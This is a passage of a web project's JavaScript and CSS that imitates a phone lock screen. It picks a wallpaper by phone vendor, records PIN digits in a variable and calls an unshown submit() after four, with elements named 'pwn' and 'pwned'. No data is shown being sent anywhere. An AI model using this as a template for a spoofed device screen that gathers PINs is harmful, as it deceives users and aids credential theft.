186 | $("#lockscreen").addClass(vendor);
187 | } catch (e) {
188 | $("#screen").addClass("defaultwp");
189 | $(".pwned").addClass("defaultwp");
190 | $("#lockscreen").addClass("defaultwp");
191 | }
192 | }
193 |
194 |
195 |
196 | (function(window, document) {
197 |
198 | 'use strict';
199 |
200 | // patch CustomEvent to allow constructor creation (IE/Chrome)
201 | if (typeof window.CustomEvent !== 'function') {
202 |
203 | window.CustomEvent = function(event, params) {
204 |
205 | params = params || { bubbles: false, cancelable: false, detail: undefined };
206 |
207 | var evt = document.createEvent('CustomEvent');
208 | evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
209 | return evt;
210 | };
211 |
212 | window.CustomEvent.prototype = window.Event.prototype;
213 | }
214 |
215 | document.addEventListener('touchstart', handleTouchStart, false);
216 | document.addEventListener('touchmove', handleTouchMove, false);
217 | document.addEventListener('touchend', handleTouchEnd, false);
218 |
219 | var xDown = null;
220 | var yDown = null;
221 | var xDiff = null;
222 | var yDiff = null;
223 | var timeDown = null;
224 | var startEl = null;
225 |
226 | /**
227 | * Fires swiped event if swipe detected on touchend
228 | * @param {object} e - browser event object
229 | * @returns {void}
230 | */
231 | function handleTouchEnd(e) {
232 |
233 | // if the user released on a different target, cancel!
234 | if (startEl !== e.target) return;
235 |
236 | var swipeThreshold = parseInt(getNearestAttribute(startEl, 'data-swipe-threshold', '20'), 10); // default 20px
237 | var swipeTimeout = parseInt(getNearestAttribute(startEl, 'data-swipe-timeout', '500'), 10); // default 500ms
238 | var timeDiff = Date.now() - timeDown;
239 | var eventType = '';
240 | var changedTouches = e.changedTouches || e.touches || [];
241 |
242 | if (Math.abs(xDiff) > Math.abs(yDiff)) { // most significant
243 | if (Math.abs(xDiff) > swipeThreshold && timeDiff < swipeTimeout) {
244 | if (xDiff > 0) {
245 | eventType = 'swiped-left';
246 | } else {
247 | eventType = 'swiped-right';
248 | }
249 | }
250 | } else if (Math.abs(yDiff) > swipeThreshold && timeDiff < swipeTimeout) {
251 | if (yDiff > 0) {
252 | eventType = 'swiped-up';
253 | } else {
254 | eventType = 'swiped-down';
255 | }
256 | }
257 |
258 | if (eventType !== '') {
259 |
260 | var eventData = {
261 | dir: eventType.replace(/swiped-/, ''),
262 | xStart: parseInt(xDown, 10),
263 | xEnd: parseInt((changedTouches[0] || {}).clientX || -1, 10),
264 | yStart: parseInt(yDown, 10),
265 | yEnd: parseInt((changedTouches[0] || {}).clientY || -1, 10)
266 | };
267 |
268 | // fire `swiped` event event on the element that started the swipe
269 | startEl.dispatchEvent(new CustomEvent('swiped', { bubbles: true, cancelable: true, detail: eventData }));
270 |
271 | // fire `swiped-dir` event on the element that started the swipe
272 | startEl.dispatchEvent(new CustomEvent(eventType, { bubbles: true, cancelable: true, detail: eventData }));
273 | }
274 |
275 | // reset values
276 | xDown = null;
277 | yDown = null;
278 | timeDown = null;
279 | }
280 |
281 | /**
282 | * Records current location on touchstart event
283 | * @param {object} e - browser event object
284 | * @returns {void}
285 | */
286 | function handleTouchStart(e) {
287 |
288 | // if the element has data-swipe-ignore="true" we stop listening for swipe events
289 | if (e.target.getAttribute('data-swipe-ignore') === 'true') return;
290 |
291 | startEl = e.target;
292 |
293 | timeDown = Date.now();
294 | xDown = e.touches[0].clientX;
295 | yDown = e.touches[0].clientY;
296 | xDiff = 0;
297 | yDiff = 0;
298 | }
299 |
300 | /**
301 | * Records location diff in px on touchmove event
302 | * @param {object} e - browser event object
303 | * @returns {void}
304 | */
305 | function handleTouchMove(e) {
306 |
307 | if (!xDown || !yDown) return;
308 |
309 | var xUp = e.touches[0].clientX;
310 | var yUp = e.touches[0].clientY;
311 |
312 | xDiff = xDown - xUp;
313 | yDiff = yDown - yUp;
314 | }
315 |
316 | /**
317 | * Gets attribute off HTML element or nearest parent
318 | * @param {object} el - HTML element to retrieve attribute from
319 | * @param {string} attributeName - name of the attribute
320 | * @param {any} defaultValue - default value to return if no match found
321 | * @returns {any} attribute value or defaultValue
322 | */
323 | function getNearestAttribute(el, attributeName, defaultValue) {
324 |
325 | // walk up the dom tree looking for data-action and data-trigger
326 | while (el && el !== document.documentElement) {
327 |
328 | var attributeValue = el.getAttribute(attributeName);
329 |
330 | if (attributeValue) {
331 | return attributeValue;
332 | }
333 |
334 | el = el.parentNode;
335 | }
336 |
337 | return defaultValue;
338 | }
339 |
340 | }(window, document));
341 |
342 | function camera() {
343 | $(".camera").css("color", "#111");
344 | $(".white-select").css("transform", "scale(1)");
345 | $(".lock").fadeOut("fast");
346 | $(".phone").fadeOut("fast");
347 | $("#unlock").text("Swipe left to the camera");
348 |
349 | setTimeout(function() {
350 | $(".camera").css("color", "white");
351 | $(".white-select").css("transform", "scale(0)");
352 | $(".lock").fadeIn("slow");
353 | $(".phone").fadeIn("slow");
354 | $("#unlock").text("Swipe up to unlock");
355 | }, 1700);
356 | }
357 |
358 | function phone() {
359 | $(".phone").css("color", "#111");
360 | $(".white-select-left").css("transform", "scale(1)");
361 | $(".lock").fadeOut("fast");
362 | $(".camera").fadeOut("fast");
363 | $("#unlock").text("Swipe left to the dialer");
364 |
365 | setTimeout(function() {
366 | $(".phone").css("color", "white");
367 | $(".white-select-left").css("transform", "scale(0)");
368 | $(".lock").fadeIn("slow");
369 | $(".camera").fadeIn("slow");
370 | $("#unlock").text("Swipe up to unlock");
371 | }, 1700);
372 | }
373 |
374 |
375 | element = document.getElementById("screen");
376 |
377 | // reset the transition by...
378 | element.addEventListener("click", function(e) {
379 | e.preventDefault;
380 | if (e.target.id == "dialer")
381 | return false;
382 | if (e.target.id == "camera")
383 | return false;
384 |
385 | cont = document.getElementById("cont");
386 |
387 | //time = document.getElementById("time");
388 | //date = document.getElementById("date");
389 | text = document.getElementById("unlock");
390 |
391 | // -> removing the class
392 | //time.classList.remove("run-animation");
393 | //date.classList.remove("run-animation");
394 | text.classList.remove("text-animation");
395 | cont.classList.remove("run-animation");
396 |
397 | // -> triggering reflow /* The actual magic */
398 | // without this it wouldn't work. Try uncommenting the line and the transition won't be retriggered.
399 | //time.offsetWidth = time.offsetWidth;
400 | //date.offsetWidth = date.offsetWidth;
401 | text.offsetWidth = text.offsetWidth;
402 | cont.offsetWidth = cont.offsetWidth;
403 |
404 | // -> and re-adding the class
405 | //time.classList.add("run-animation");
406 | cont.classList.add("run-animation");
407 | //date.classList.add("run-animation");
408 | text.classList.add("text-animation");
409 | }, false);
410 |
411 |
412 |
413 |
414 | // Swipe down and up touch event
415 |
416 | (function() {
417 | var supportTouch = $.support.touch,
418 | scrollEvent = "touchmove scroll",
419 | touchStartEvent = supportTouch ? "touchstart" : "mousedown",
420 | touchStopEvent = supportTouch ? "touchend" : "mouseup",
421 | touchMoveEvent = supportTouch ? "touchmove" : "mousemove";
422 | $.event.special.swipeupdown = {
423 | setup: function() {
424 | var thisObject = this;
425 | var $this = $(thisObject);
426 | $this.bind(touchStartEvent, function(event) {
427 | var data = event.originalEvent.touches ?
428 | event.originalEvent.touches[0] :
429 | event,
430 | start = {
431 | time: (new Date).getTime(),
432 | coords: [data.pageX, data.pageY],
433 | origin: $(event.target)
434 | },
435 | stop;
436 |
437 | function moveHandler(event) {
438 | if (!start) {
439 | return;
440 | }
441 | var data = event.originalEvent.touches ?
442 | event.originalEvent.touches[0] :
443 | event;
444 | stop = {
445 | time: (new Date).getTime(),
446 | coords: [data.pageX, data.pageY]
447 | };
448 |
449 | // prevent scrolling
450 | if (Math.abs(start.coords[1] - stop.coords[1]) > 10) {
451 | event.preventDefault();
452 | }
453 | }
454 | $this
455 | .bind(touchMoveEvent, moveHandler)
456 | .one(touchStopEvent, function(event) {
457 | $this.unbind(touchMoveEvent, moveHandler);
458 | if (start && stop) {
459 | if (stop.time - start.time < 1000 &&
460 | Math.abs(start.coords[1] - stop.coords[1]) > 30 &&
461 | Math.abs(start.coords[0] - stop.coords[0]) < 75) {
462 | start.origin
463 | .trigger("swipeupdown")
464 | .trigger(start.coords[1] > stop.coords[1] ? "swipeup" : "swipedown");
465 | }
466 | }
467 | start = stop = undefined;
468 | });
469 | });
470 | }
471 | };
472 | $.each({
473 | swipedown: "swipeupdown",
474 | swipeup: "swipeupdown"
475 | }, function(event, sourceEvent) {
476 | $.event.special[event] = {
477 | setup: function() {
478 | $(this).bind(sourceEvent, $.noop);
479 | }
480 | };
481 | });
482 |
483 | })();
484 |
485 | $('#screen').on('swipeup', function() {
486 | $("#cont").css("transform", "scale(0)");
487 | setTimeout(function() {
488 | $("#lockscreen").fadeOut(200);
489 |
490 | setTimeout(function() {
491 |
492 | $("#lockscreen").html("
hey ");
493 | $("#lockscreen").fadeIn(50);
494 |
495 | }, 0);
496 |
497 |
498 | }, 300);
499 | });
500 |
501 | function genreal(p) {
502 |
503 | var inputnow = "";
504 | for (var i = p.length - 2; i >= 0; i--) {
505 | inputnow = inputnow + "*"
506 | }
507 | l = window.password.substring(window.password.length - 1, window.password.length);
508 | return inputnow + l
509 | }
510 |
511 | function withoutfs() {
512 |
513 |
514 | $(".pwn").css("display", "block")
515 | $("#containerz").css("padding", "0px")
516 | $("#containerz").html($(".pwn").html());
517 | $(".deleteme").remove();
518 | $(".pwn").remove()
519 | $("#containerz").addClass("pwned")
520 | }
521 |
522 | function swipeaway(e) {
523 | if (!window.swiped) {
524 | window.swiped = true;
525 | $('#cont').animate({ marginTop: '-=1000px' }, 0.5);
526 | $('#cont').fadeOut(70)
527 | setTimeout(function() {
528 | $("#lockscreen").fadeOut(30);
529 | $("#lockscreen").html('');
530 | setTimeout(function() {
531 |
532 |
533 | $("#pass").animate({ top: '-=50px', opacity: '1' }, 0.5);
534 | setTimeout(function() {
535 | $("#emergency").animate({ top: '-=40px', opacity: '1' }, 0.35);
536 | }, 300)
537 | $("#lockscreen").fadeIn(400);
538 | document.removeEventListener('swipe-up', function() {});
539 | document.removeEventListener('swipe-left', function() {});
540 | document.removeEventListener('swipe-right', function() {});
541 |
542 | $(".d").on("click", function() {
543 |
544 | if ($(this).text() == "DELETE") {
545 | window.password = window.password.substring(0, window.password.length - 1);
546 | $("#currentvalue").css("font-size", "12px")
547 | $("#currentvalue").text(genreal(window.password))
548 | console.log(window.password)
549 | } else {
550 | window.password = window.password + $(this).text()
551 | $("#currentvalue").css("font-size", "12px")
552 | $("#currentvalue").text(genreal(window.password))
553 | console.log(window.password)
554 | }
555 | if (window.password.length == 4) {
556 |
557 | submit()
558 |
559 | }
560 | if (window.password.length == 0) {
561 | $("#currentvalue").css("font-size", "10px")
562 | $("#currentvalue").text("Enter PIN")
563 |
564 | }
565 |
566 | });
567 |
568 | }, 0);
569 |
570 | }, 300);
571 | }
572 | }
573 |
574 |
575 | document.addEventListener('swiped-up', swipeaway);
576 | document.addEventListener('swiped-left', bounce);
577 | document.addEventListener('swiped-right', bounce);
578 |
579 |
580 | function bounce() {
581 | if (!window.swiped) {
582 | $("#cont").animate({ marginTop: '-=50px', opacity: '0.4' }, 0.3);
583 |
584 | setTimeout(function() {
585 |
586 | $("#cont").animate({ marginTop: '+=50px', opacity: '1' }, 0.3);
587 |
588 | }, 300);
589 | }
590 | }
--------------------------------------------------------------------------------
/static/css/style.css:
--------------------------------------------------------------------------------
1 | .oneplus{
2 | background: url('https://forums-images.oneplus.net/attachments/809/809797-882f084b074a430bbf6b820489f5ef07.jpg') no-repeat center center fixed;
3 | -webkit-background-size: cover;
4 | -moz-background-size: cover;
5 | -o-background-size: cover;
6 | background-size: cover;
7 | }
8 |
9 |
10 | .xiaomi{
11 | background: url('../wallpapers/xiaomi.jpg') no-repeat center center fixed;
12 | -webkit-background-size: cover;
13 | -moz-background-size: cover;
14 | -o-background-size: cover;
15 | background-size: cover;
16 | }
17 |
18 | .generic{
19 | background: url('../wallpapers/vivo.jpg') no-repeat center center fixed;
20 | -webkit-background-size: cover;
21 | -moz-background-size: cover;
22 | -o-background-size: cover;
23 | background-size: cover;
24 | }
25 |
26 | .motorola{
27 | background: url('../wallpapers/motorola.jpg') no-repeat center center fixed;
28 | -webkit-background-size: cover;
29 | -moz-background-size: cover;
30 | -o-background-size: cover;
31 | background-size: cover;
32 | }
33 |
34 |
35 | .pixel{
36 | background: url('../wallpapers/pixel.jpg') no-repeat center center fixed;
37 | -webkit-background-size: cover;
38 | -moz-background-size: cover;
39 | -o-background-size: cover;
40 | background-size: cover;
41 | }
42 |
43 | .samsung{
44 | background: url('../wallpapers/samsung.jpg') no-repeat center center fixed;
45 | -webkit-background-size: cover;
46 | -moz-background-size: cover;
47 | -o-background-size: cover;
48 | background-size: cover;
49 | }
50 |
51 |
52 |
53 | .defaultwp{
54 | background: url('https://forums-images.oneplus.net/attachments/809/809797-882f084b074a430bbf6b820489f5ef07.jpg') no-repeat center center fixed;
55 | -webkit-background-size: cover;
56 | -moz-background-size: cover;
57 | -o-background-size: cover;
58 | background-size: cover;
59 |
60 | }
61 |
62 |
63 | .p90{
64 | transform: rotate(-90deg);
65 |
66 |
67 | /* Legacy vendor prefixes that you probably don't need... */
68 |
69 | /* Safari */
70 | -webkit-transform: rotate(-90deg);
71 |
72 | /* Firefox */
73 | -moz-transform: rotate(-90deg);
74 |
75 | /* IE */
76 | -ms-transform: rotate(-90deg);
77 |
78 | /* Opera */
79 | -o-transform: rotate(-90deg);
80 |
81 |
82 | }
83 |
84 | .m90
85 |
86 |
87 | html,
88 | body {
89 | margin: 0;
90 | padding: 0;
91 | background: #F1f1f1;
92 | font-family: 'Roboto';
93 | -webkit-touch-callout: none;
94 | -webkit-user-select: none;
95 | -khtml-user-select: none;
96 | -moz-user-select: none;
97 | -ms-user-select: none;
98 | user-select: none;
99 | }
100 |
101 | #presentation {
102 | width: 750px;
103 | height: 550px;
104 | float: left;
105 | }
106 |
107 | .name {
108 | color: #db4437;
109 | font-size: 13px;
110 | bottom: 0;
111 | position: absolute;
112 | }
113 |
114 | #containerz {
115 | zoom: 130%;
116 | }
117 |
118 | #block {
119 | width: 400px;
120 | height: 350px;
121 | margin: auto;
122 | position: fixed;
123 | left: 180px;
124 | /* position: fixed;
125 | left: 50px;
126 | padding: 50px;
127 | box-shadow: 0 3px 6px rgba(0,0,0,0.16), 0 3px 6px rgba(0,0,0,0.23);*/
128 | margin-top: 75px;
129 | }
130 |
131 | h1 {
132 | color: #555;
133 | text-align: justify;
134 | }
135 |
136 | #container {
137 | width: 365px;
138 | height: 550px;
139 | background-size: 100%;
140 | margin-left: auto;
141 | margin-right: auto;
142 | position: relative;
143 | padding-top: 94px;
144 | padding-bottom: 0;
145 | }
146 |
147 | #screen {
148 | margin-left: auto;
149 | margin-right: auto;
150 | width: 100%;
151 | height: 100%;
152 | psosition: relative;
153 | /* background: url('https://forums-images.oneplus.net/attachments/809/809797-882f084b074a430bbf6b820489f5ef07.jpg');*/
154 | padding: 0;
155 | }
156 |
157 | .defaultwp{
158 | background: url('https://forums-images.oneplus.net/attachments/809/809797-882f084b074a430bbf6b820489f5ef07.jpg');
159 | }
160 |
161 | .pwned {
162 | /*background: url('https://forums-images.oneplus.net/attachments/809/809797-882f084b074a430bbf6b820489f5ef07.jpg');*/
163 | }
164 |
165 | #lockscreen {
166 | /* background: url('https://forums-images.oneplus.net/attachments/809/809797-882f084b074a430bbf6b820489f5ef07.jpg');*/
167 | width: 100%;
168 | height: 100%;
169 | position: relative;
170 | overflow: hidden;
171 | }
172 |
173 | .filler {
174 | width: 100%;
175 | height: 100%;
176 | background: rgba(0, 0, 0, 0.6);
177 | backdrop-filter: blur(6px);
178 | }
179 |
180 |
181 | #currentvalue {
182 | font-size: 10px;
183 | position: absolute;
184 | text-align: center;
185 | left: 45;
186 | right: 0;
187 | position: absolute;
188 | margin-bottom: 200px;
189 | background: none;
190 | color: white;
191 | text-decoration: none;
192 | border: none;
193 | zoom: 1.6;
194 | font-weight: 600;
195 | }
196 |
197 |
198 | #emergency {
199 | position: absolute;
200 | width: 100%;
201 | top: 0px;
202 | height: 600px;
203 | transition: all 0.5s;
204 | z-index: 10;
205 | opacity: 0;
206 | }
207 |
208 | #emergency-inner {
209 | text-align: center;
210 | left: 0;
211 | right: 0;
212 | font-weight: 900;
213 | margin: auto;
214 | position: absolute;
215 | margin-top: 100px;
216 | font-size: 11px;
217 | font-family: 'Open Sans';
218 | color: white;
219 | cursor: default;
220 | text-decoration: underline;
221 | }
222 |
223 |
224 |
225 | #pass {
226 | position: absolute;
227 | width: 100%;
228 | top: 26%;
229 | height: 600px;
230 | transition: all 0.5s;
231 | z-index: 10;
232 | }
233 |
234 | #pass-inner {
235 | text-align: center;
236 | left: -72;
237 | right: 0;
238 | font-weight: 400;
239 | margin: auto;
240 | position: absolute;
241 | margin-top: 100px;
242 | font-size: 13px;
243 | font-family: 'Open Sans';
244 | color: white;
245 | cursor: default;
246 | }
247 |
248 | #pass-inner .d:not(.del):not(.c):not(.l) {
249 | margin-left: 25px;
250 | margin-bottom: 200px;
251 | background: none;
252 | color: white;
253 | text-decoration: none;
254 | border: none;
255 | zoom: 1.6;
256 | font-weight: 600;
257 | }
258 |
259 | .l {
260 | margin-left: 45px;
261 | margin-bottom: 200px;
262 | background: none;
263 | color: white;
264 | text-decoration: none;
265 | border: none;
266 | zoom: 1.6;
267 | font-weight: 600;
268 | }
269 |
270 | .numb {
271 | padding: 10px;
272 | }
273 |
274 | .c {
275 | text-align: center;
276 | left: calc(50% - 6px);
277 | margin-bottom: 200px;
278 | background: none;
279 | color: white;
280 | text-decoration: none;
281 | border: none;
282 | zoom: 1.6;
283 | font-weight: 600;
284 | }
285 |
286 | .del {
287 | font-size: 8px;
288 | margin-left: calc(50% + 17px);
289 | margin-bottom: 200px;
290 | background: none;
291 | color: white;
292 | text-decoration: none;
293 | border: none;
294 | zoom: 1.6;
295 | font-weight: 900;
296 | }
297 |
298 |
299 |
300 | .d {
301 | position: relative;
302 | overflow: hidden;
303 | transform: translate3d(0, 0, 0)
304 | }
305 |
306 | .d:after {
307 | content: "";
308 | display: block;
309 | position: absolute;
310 | width: 100%;
311 | height: 100%;
312 | top: 0;
313 | left: 0;
314 | pointer-events: none;
315 | background-image: radial-gradient(circle, white 12%, transparent 12.01%);
316 | background-repeat: no-repeat;
317 | background-position: 50%;
318 | transform: scale(10, 10);
319 | opacity: 0;
320 | transition: transform .2s, opacity 0.6s
321 | }
322 |
323 | .d:active:after {
324 | transform: scale(0, 0);
325 | opacity: 1;
326 | transition: 0s
327 | }
328 |
329 |
330 |
331 |
332 |
333 |
334 | #banner {
335 | position: absolute;
336 | height: 23px;
337 | width: 100%;
338 | z-index: 10;
339 | }
340 |
341 | .carrier {
342 | padding: 8px;
343 | margin: 0;
344 | position: absolute;
345 | color: white;
346 | font-size: 9px;
347 | cursor: default;
348 | font-weight: 900;
349 | }
350 |
351 |
352 | #time {
353 | text-align: center;
354 | left: 0;
355 | right: 0;
356 | font-weight: 400;
357 | margin: auto;
358 | position: absolute;
359 | margin-top: 100px;
360 | font-size: 60px;
361 | font-family: 'Open Sans';
362 | color: white;
363 | cursor: default;
364 | }
365 |
366 | #date {
367 | text-align: center;
368 | left: 0;
369 | right: 0;
370 | margin: auto;
371 | cursor: default;
372 | position: absolute;
373 | margin-top: 170px;
374 | font-weight: 400;
375 | color: white;
376 | font-size: 12px;
377 | animation-fill-mode: none;
378 | }
379 |
380 | .lowbat #wifi {
381 | position: absolute;
382 | right: 64px;
383 | margin-top: 8px;
384 | border-top: 10px solid white;
385 | border-bottom: 10px solid rgba(0, 0, 0, 0);
386 | border-left: 10px solid rgba(0, 0, 0, 0);
387 | border-right: 10px solid rgba(0, 0, 0, 0);
388 | border-radius: 20px;
389 | }
390 |
391 | .lowbat #phone {
392 | width: 0;
393 | height: 0;
394 | border-style: solid;
395 | border-width: 0 0 10px 10px;
396 | border-color: transparent transparent #ffffff transparent;
397 | position: absolute;
398 | right: 52px;
399 | margin-top: 8px;
400 | }
401 |
402 | .lowbat #battery {
403 | width: 7px;
404 | height: 10px;
405 | position: absolute;
406 | right: 4px;
407 | background: white;
408 | margin: 8px;
409 | }
410 |
411 |
412 | .lowbat .battery-level {
413 | width: 7px;
414 | height: 10px;
415 | position: absolute;
416 | right: 30px;
417 | margin: 8px;
418 | color: white;
419 | font-size: 10px;
420 | font-weight: 900;
421 | font-family: 'Open Sans';
422 | top: -0.2em;
423 | }
424 |
425 |
426 |
427 |
428 | .highbat #wifi {
429 | position: absolute;
430 | right: 67px;
431 | margin-top: 8px;
432 | border-top: 10px solid white;
433 | border-bottom: 10px solid rgba(0, 0, 0, 0);
434 | border-left: 10px solid rgba(0, 0, 0, 0);
435 | border-right: 10px solid rgba(0, 0, 0, 0);
436 | border-radius: 20px;
437 | }
438 |
439 | .highbat #phone {
440 | width: 0;
441 | height: 0;
442 | border-style: solid;
443 | border-width: 0 0 10px 10px;
444 | border-color: transparent transparent #ffffff transparent;
445 | position: absolute;
446 | right: 55px;
447 | margin-top: 8px;
448 | }
449 |
450 | .highbat #battery {
451 | width: 7px;
452 | height: 10px;
453 | position: absolute;
454 | right: 4px;
455 | background: white;
456 | margin: 8px;
457 | }
458 |
459 |
460 | .highbat .battery-level {
461 | width: 7px;
462 | height: 10px;
463 | position: absolute;
464 | right: 34px;
465 | margin: 8px;
466 | color: white;
467 | font-size: 10px;
468 | font-weight: 900;
469 | font-family: 'Open Sans';
470 | top: -0.2em;
471 | }
472 |
473 |
474 |
475 | #battery::before {
476 | content: '';
477 | width: 3px;
478 | height: 2px;
479 | background: white;
480 | margin: auto;
481 | left: 0;
482 | right: 0;
483 | top: -1px;
484 | display: block;
485 | position: absolute;
486 | }
487 |
488 | #glass-effect {
489 | height: 100%;
490 | width: 100%;
491 | z-index: 0;
492 | }
493 |
494 | .lock {
495 | width: 9px;
496 | height: 7px;
497 | position: absolute;
498 | left: 0;
499 | right: 0;
500 | margin: auto;
501 | border-radius: 3px;
502 | padding-right: 14px;
503 | color: white;
504 | top: 70px;
505 | }
506 |
507 | .lock::after {
508 | display: block;
509 | width: 3px;
510 | height: 3px;
511 | margin: auto;
512 | top: 0;
513 | bottom: 0;
514 | left: 0;
515 | right: 0;
516 | position: absolute;
517 | }
518 |
519 | .lock::before {
520 |
521 | display: block;
522 | width: 5px;
523 | height: 5px;
524 | border-radius: 50%;
525 | border-top: 2px solid rgba(255, 255, 255, 0.7);
526 | border-right: 2px solid rgba(255, 255, 255, 0.6);
527 | border-left: 2px solid rgba(255, 255, 255, 0);
528 | border-bottom: 2px solid rgba(255, 255, 255, 0);
529 | margin: auto;
530 | left: 0;
531 | right: 0;
532 | top: -8px;
533 | position: absolute;
534 | transform: rotate(-25deg);
535 | }
536 |
537 |
538 | /* OLD CSS MADE CAMERA
539 |
540 | .camera{
541 | width: 14px;
542 | height: 10px;
543 | background: rgba(255,255,255,0.7);
544 | position: absolute;
545 | bottom: 10px;
546 | right: 7px;
547 | border-radius: 2px;
548 | z-index: 10;
549 | }
550 |
551 | .camera::before{
552 | content:'';
553 | display: block;
554 | height: 0;
555 | width: 4px;
556 | margin: -2px 0 0 4px;
557 | border-bottom: 2px solid white;
558 | border-left: 1px solid transparent;
559 | border-right: 1px solid transparent;
560 | z-index: 10;
561 | }
562 |
563 | .camera::after{
564 | content:'';
565 | display: block;
566 | z-index: 12;
567 | background: white;
568 | border: 1px solid rgba(0,0,0,0.6);
569 | width: 4px;
570 | height: 4px;
571 | border-radius: 50%;
572 | position: absolute;
573 | margin: auto;
574 | left: 0;
575 | right: 0;
576 | top: 0;
577 | bottom: 0;
578 | }*/
579 |
580 | .phone {
581 | position: absolute;
582 | bottom: 10px;
583 | left: 7px;
584 | color: rgba(255, 255, 255, 0.7);
585 | font-size: 17px;
586 | cursor: pointer;
587 | z-index: 10;
588 | }
589 |
590 | #lockscreen:active>.lock {
591 | border: 2px solid white;
592 | transition: all 0.2s;
593 | }
594 |
595 | @keyframes date-bounce {
596 | 20% {
597 | transform: scale(1);
598 | }
599 |
600 | 60% {
601 | transform: scale(0.8);
602 | color: rgba(255, 255, 255, 0.9);
603 | }
604 |
605 | 82% {
606 | transform: scale(1);
607 | color: rgba(255, 255, 255, 1);
608 | }
609 |
610 | 90% {
611 | transform: scale(0.92);
612 | }
613 |
614 | 100% {
615 | transform: scale(1);
616 | }
617 | }
618 |
619 | @keyframes text-bounce {
620 | 20% {
621 | transform: translateY(-25px);
622 | }
623 |
624 | 65% {
625 | transform: translateY(-40px);
626 | }
627 |
628 | 82% {
629 | transform: translateY(0px);
630 | }
631 |
632 | 90% {
633 | transform: translateY(-10px);
634 | }
635 |
636 | 100% {
637 | transform: translateY(0px);
638 | }
639 | }
640 |
641 |
642 | .run-animation {
643 | position: relative;
644 | animation: date-bounce .6s linear;
645 | }
646 |
647 | #unlock {
648 | position: absolute;
649 | color: white;
650 | font-size: 13px;
651 | bottom:10px;
652 | font-weight: 600;
653 | margin: auto;
654 | left: 0;
655 | right: 0;
656 | text-align: center;
657 | bottom: 38px;
658 | }
659 |
660 | .text-animation {
661 | position: relative;
662 | animation: text-bounce .6s linear;
663 | }
664 |
665 | #cont {
666 | position: absolute;
667 | width: 100%;
668 | height: 200px;
669 | transition: all 0.5s;
670 | z-index: 10;
671 | }
672 |
673 |
674 |
675 | @keyframes white-ball {
676 | from {
677 | transform: scale(0);
678 | }
679 |
680 | to {
681 | transform: scale(1);
682 | }
683 | }
684 |
685 | .white-select {
686 | position: absolute;
687 | width: 75px;
688 | height: 75px;
689 | background: white;
690 | border-radius: 50%;
691 | bottom: -20px;
692 | right: -25px;
693 | transform: scale(0);
694 | transition: all 0.2s;
695 | z-index: 1;
696 | }
697 |
698 | .white-select::after {
699 | content: '<';
700 | display: block;
701 | color: white;
702 | position: absolute;
703 | bottom: 28px;
704 | right: 80px;
705 | }
706 |
707 | .camera {
708 | position: absolute;
709 | bottom: 10px;
710 | right: 7px;
711 | color: rgba(255, 255, 255, 0.7);
712 | font-size: 17px;
713 | z-index: 10;
714 | cursor: pointer;
715 | }
716 |
717 | .white-select-left {
718 | position: absolute;
719 | width: 75px;
720 | height: 75px;
721 | background: white;
722 | border-radius: 50%;
723 | bottom: -20px;
724 | left: -22px;
725 | transform: scale(0);
726 | transition: all 0.2s;
727 | z-index: 1;
728 | }
729 |
730 | .white-select-left::after {
731 | content: '>';
732 | display: block;
733 | color: white;
734 | position: absolute;
735 | bottom: 28px;
736 | left: 80px;
737 | }
738 |
739 |
740 |
741 |
742 |
743 |
744 |
745 |
746 |
747 |
748 |
749 |
750 |
751 |
752 |
753 |
754 |
755 |
756 |
757 |
758 |
759 |
760 |
761 |
762 |
763 |
764 |
765 |
766 |
767 |
768 |
769 |
770 |
771 |
772 |
773 |
774 |
775 |
776 |
777 |
778 |
779 |
780 |
781 |
782 |
783 |
784 |
785 |
786 |
787 |
788 |
789 |
790 |
791 |
792 |
793 |
794 |
795 |
796 |
797 |
798 |
799 |
800 |
801 |
802 |
803 | /* cyrillic-ext */
804 | @font-face {
805 | font-family: 'Open Sans';
806 | font-style: normal;
807 | font-weight: 300;
808 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTa-j2U0lmluP9RWlSytm3ho.woff2) format('woff2');
809 | unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;
810 | }
811 |
812 | /* cyrillic */
813 | @font-face {
814 | font-family: 'Open Sans';
815 | font-style: normal;
816 | font-weight: 300;
817 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTZX5f-9o1vgP2EXwfjgl7AY.woff2) format('woff2');
818 | unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
819 | }
820 |
821 | /* greek-ext */
822 | @font-face {
823 | font-family: 'Open Sans';
824 | font-style: normal;
825 | font-weight: 300;
826 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTRWV49_lSm1NYrwo-zkhivY.woff2) format('woff2');
827 | unicode-range: U+1F00-1FFF;
828 | }
829 |
830 | /* greek */
831 | @font-face {
832 | font-family: 'Open Sans';
833 | font-style: normal;
834 | font-weight: 300;
835 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTaaRobkAwv3vxw3jMhVENGA.woff2) format('woff2');
836 | unicode-range: U+0370-03FF;
837 | }
838 |
839 | /* vietnamese */
840 | @font-face {
841 | font-family: 'Open Sans';
842 | font-style: normal;
843 | font-weight: 300;
844 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTf8zf_FOSsgRmwsS7Aa9k2w.woff2) format('woff2');
845 | unicode-range: U+0102-0103, U+1EA0-1EF1, U+20AB;
846 | }
847 |
848 | /* latin-ext */
849 | @font-face {
850 | font-family: 'Open Sans';
851 | font-style: normal;
852 | font-weight: 300;
853 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTT0LW-43aMEzIO6XUTLjad8.woff2) format('woff2');
854 | unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
855 | }
856 |
857 | /* latin */
858 | @font-face {
859 | font-family: 'Open Sans';
860 | font-style: normal;
861 | font-weight: 300;
862 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTegdm0LZdjqr5-oayXSOefg.woff2) format('woff2');
